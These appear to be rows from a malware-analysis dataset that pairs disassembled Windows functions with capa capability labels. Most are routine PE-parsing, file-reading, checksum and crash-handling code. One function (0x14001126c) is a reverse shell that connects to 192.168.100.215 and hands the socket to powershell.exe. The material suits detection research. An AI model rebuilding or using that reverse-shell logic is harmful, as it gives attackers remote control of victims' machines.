joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ca0d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x14018a040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1400ca26c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1400ca26c
cmp r10d, r14d
jne 0x1400ca170
sub rbx, 0x10
jmp 0x1400ca2b4
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1400ca1e2
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x1400ca1a4
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x1400ca1ac
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x1400ca1cb
movzx edx, r11b
mov rcx, rsi
call fcn.1400cb280
test al, al
jne 0x1400ca2c5
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1400cb8f0
test al, al
jne 0x1400ca2c5
mov edx, dword [rsi + 0x64]
lea r9, [0x1400cbc50]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1400ca20e
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1400c9f50
jmp 0x1400ca262
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1400c9f50
test dil, dil
je 0x1400ca25a
cmp byte [rsi + 0x6a], 0
jne 0x1400ca25a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x1400ca2c5
sub rbx, 0x10
jmp 0x1400ca2b4
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x1400ca2c9
mov ebp, dword [rbx]
jmp 0x1400ca130
mov al, 1
jmp 0x1400ca2d2
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400d5a90
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1400d0620
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400d063c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400d0690
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400d07b5
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400d07b5
test rax, rax
je 0x1400d07b5
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400d07b5
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400d072a
lea rax, [0x1400d0810]
jmp 0x1400d0783
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400d07b5
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400d07a3
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400d0750
lea rax, [0x1400d07e0]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400d07ca
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400d1da0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400d1dab
xor eax, eax
ret
lea r11, [0x1400f74a0]
not ecx
cmp r8d, 8
jb 0x1400d1e81
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400d1dd0
test r8d, r8d
je 0x1400d1ead
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400d1e90
not ecx
mov eax, ecx
ret
Function at 0x1400d68a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400d68ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400d68ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400d68ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400d68ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400d68ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400d68ec
xor al, al
add rsp, 0x28
ret

Function at 0x1400d6ae0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400d6b1a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400d6b1f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400d6b68
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400f7c80]
cmp byte [rcx + rax], 0
je 0x1400d6b68
dec r8
sub rdx, 1
jne 0x1400d6b4e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140015300
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
jmp 0x140015a50
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x1b0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x28
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1d8]
mov rax, qword [0x14001c080]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400220a5]
call fcn.140011375
nop
lea rax, str.192.168.100.215
mov qword [rbp + 8], rax
mov eax, 0x15b3
mov word [rbp + 0x24], ax
lea rdx, [0x14001c200]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
nop
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001c398], rax
mov eax, 2
mov word [0x14001c3a0], ax
movzx ecx, word [rbp + 0x24]
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001c3a2], ax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14001c3a4], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001c3a0]
mov rcx, qword [0x14001c398]
call qword [sym.imp.WS2_32.dll_WSAConnect]
nop
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001c3b0]
call fcn.1400112c1
nop
mov dword [0x14001c3b0], 0x68
mov dword [0x14001c3ec], 0x100
mov rax, qword [0x14001c398]
mov qword [0x14001c410], rax
mov rax, qword [0x14001c410]
mov qword [0x14001c408], rax
mov rax, qword [0x14001c408]
mov qword [0x14001c400], rax
lea rax, [rbp + 0x50]
lea rcx, str.powershell.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6e]
mov rdi, rax
xor eax, eax
mov ecx, 0x22
rep stosb byte [rdi], al
lea rax, [0x14001c418]
mov qword [rsp + 0x48], rax
lea rax, [0x14001c3b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001a830]
call fcn.1400113d9
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x160]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012e30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012e50
xor al, al
jmp 0x140012ed1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012e63
xor al, al
jmp 0x140012ed1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012e8d
xor al, al
jmp 0x140012ed1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012ea1
xor al, al
jmp 0x140012ed1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012eb3
xor al, al
jmp 0x140012ed1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012ecf
xor al, al
jmp 0x140012ed1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011c30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001139d
movzx eax, al
test eax, eax
jne 0x140011c50
mov ecx, 7
call fcn.140011311
nop
mov byte [rsp + 0x20], 0
call fcn.140011325
mov byte [rsp + 0x21], al
cmp dword [0x14001c4c0], 1
jne 0x140011c74
mov ecx, 7
call fcn.140011311
nop
jmp 0x140011ccc
cmp dword [0x14001c4c0], 0
jne 0x140011cc7
mov dword [0x14001c4c0], 1
lea rdx, [0x140019660]
lea rcx, [0x140019330]
call fcn.14001119f
test eax, eax
je 0x140011ca8
mov eax, 0xff
jmp 0x140011dd1
lea rdx, [0x140019220]
lea rcx, [section..rdata]
call fcn.14001131b
mov dword [0x14001c4c0], 2
jmp 0x140011ccc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011302
call fcn.140011299
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140011d29
mov rcx, qword [rsp + 0x30]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x140011d29
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112d0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140011d5d
mov rcx, qword [rsp + 0x38]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x140011d5d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001135c
nop
call fcn.140011e80
mov dword [rsp + 0x28], eax
call fcn.140011276
movzx eax, al
test eax, eax
jne 0x140011d7c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140011d8b
call fcn.140011366
nop
xor edx, edx
mov cl, 1
call fcn.140011145
mov eax, dword [rsp + 0x28]
jmp 0x140011dd1
add rsp, 0x68
ret
Function at 0x140011258
Capabilities:
Terminate process

Disassembly:
jmp 0x1400139c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112f3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014d10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014d30
xor al, al
jmp 0x140014db1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014d43
xor al, al
jmp 0x140014db1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014d6d
xor al, al
jmp 0x140014db1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014d81
xor al, al
jmp 0x140014db1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014d93
xor al, al
jmp 0x140014db1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014daf
xor al, al
jmp 0x140014db1
mov al, 1
add rsp, 0x38
ret
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x100411cb0
Capabilities:
Encode data using xor

Disassembly:
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400026aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400026aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.VCRUNTIME140.dll__CxxThrowException
jne 0x1400026aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400026aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400026aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400026ac
xor al, al
add rsp, 0x28
ret
Function at 0x140007a93
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x142b9e7c0]
jne 0x1400054be
rol rcx, 0x10
test cx, 0xffff
jne 0x1400054ba
repz ret
ror rcx, 0x10
jmp 0x1400079ec
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x142ba26e0]
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rax, qword [0x142ba27d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007a71
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x142ba26e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.kernel32.dll_RtlVirtualUnwind
jmp 0x140007a93
mov rax, qword [rsp + 0x88]
mov qword [0x142ba27d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x142ba2778], rax
mov rax, qword [0x142ba27d8]
mov qword [0x142ba2650], rax
mov rax, qword [rsp + 0x90]
mov qword [0x142ba2760], rax
mov dword [0x142ba2640], 0xc0000409
mov dword [0x142ba2644], 1
mov rax, qword [0x142b9e7c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x142b9e7c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x142ba26d8], eax
mov ecx, 1
call fcn.1400054c4
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x142ba10e0]
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x142ba26d8], 0
jne 0x140007b1a
mov ecx, 1
call fcn.1400054c4
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140007bb4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x142b9e7c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140002814
xor ebx, ebx
cmp qword [0x142ba2bb8], rbx
mov rdi, rax
jne 0x140007cc7
lea rcx, str.USER32.DLL
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140007d9e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140007d9e
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x142ba2bb8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x142ba2bc0], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x142ba2bc8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov r11, rax
mov qword [0x142ba2bd8], rax
test rax, rax
je 0x140007cbe
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov qword [0x142ba2bd0], rax
jmp 0x140007cce
mov rax, qword [0x142ba2bd0]
jmp 0x140007cd5
mov rax, qword [0x142ba2bd0]
mov r11, qword [0x142ba2bd8]
cmp rax, rdi
je 0x140007d3c
cmp r11, rdi
je 0x140007d3c
mov rcx, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov rcx, qword [0x142ba2bd8]
mov rsi, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140007d3c
test rax, rax
je 0x140007d3c
call rsi
test rax, rax
je 0x140007d36
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140007d36
test byte [rsp + 0x40], 1
jne 0x140007d3c
bts ebp, 0x15
jmp 0x140007d7c
mov rcx, qword [0x142ba2bc0]
cmp rcx, rdi
je 0x140007d7c
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140007d7c
call rax
mov rbx, rax
test rax, rax
je 0x140007d7c
mov rcx, qword [0x142ba2bc8]
cmp rcx, rdi
je 0x140007d7c
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140007d7c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x142ba2bb8]
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140007d9e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140007da0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400054a4
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180018790
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov rsi, rcx
lea rdx, str.USERPROFILE
lea rcx, [rbp - 0x28]
mov r8d, 0xb
call fcn.1800c5b60
cmp qword [rbp - 0x28], 0
je 0x180018874
mov rax, qword [rbp - 0x18]
mov qword [rbp], rax
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call fcn.1800d2be0
test rdx, rdx
je 0x18001885c
mov rax, qword [rbp - 0x10]
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp - 0x50], xmm0
test rax, rax
je 0x180018874
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x40], rax
test rax, rax
jne 0x18001887f
mov ecx, 0x208
mov edx, 2
call fcn.180018700
test rax, rax
je 0x1800188e3
mov rdi, rax
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [0x1800f0d90]
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0x28
xor r8d, r8d
xor r9d, r9d
call sub.SHELL32.dll_SHGetFolderPathW
test eax, eax
je 0x180018898
mov qword [rsi], 0
jmp 0x1800188c2
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x180018874
mov rcx, qword [rbp - 0x10]
mov r8d, 1
call fcn.180018710
xor eax, eax
mov qword [rbp - 0x40], rax
test rax, rax
je 0x18001880e
mov rax, qword [rbp - 0x30]
